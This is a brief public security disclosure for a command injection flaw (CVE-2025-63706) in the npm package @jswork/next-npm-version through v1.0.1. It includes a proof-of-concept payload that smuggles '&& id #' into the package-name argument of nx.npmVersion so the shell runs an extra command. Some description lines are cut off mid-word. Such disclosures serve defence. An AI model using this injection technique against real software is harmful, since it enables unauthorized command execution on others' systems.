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Public disclosure of security issue in NPM package @jswork/next-npm-version through version 1.0.1

gistfilel.txt

1

2 Product: https://www.npmjs.com/package/@jswork/next-npm-version

3 Version: v1.0.1

4 Vulnerability type: Command injection inside @jswork/next-npm-version through version 1.0.
5 CVE ID: CVE-2025-63706

6

7 Description:

8 NPM package next-npm-version through function nx.npmVersion defined on line 19. inside ind
9 An attacker is able to inject code when calling npmVersion function to check the version o
10 This code uses npm show to cli command to execute the code.

11

12 Payload used:

13

14 > import '@jswork/next-npm-version';

15 >

16 > console.log(nx.npmVersion('node-ts-ocr && id #'));

7 > // '2.6.0'

18 >

19 > This executes the 'id' command.
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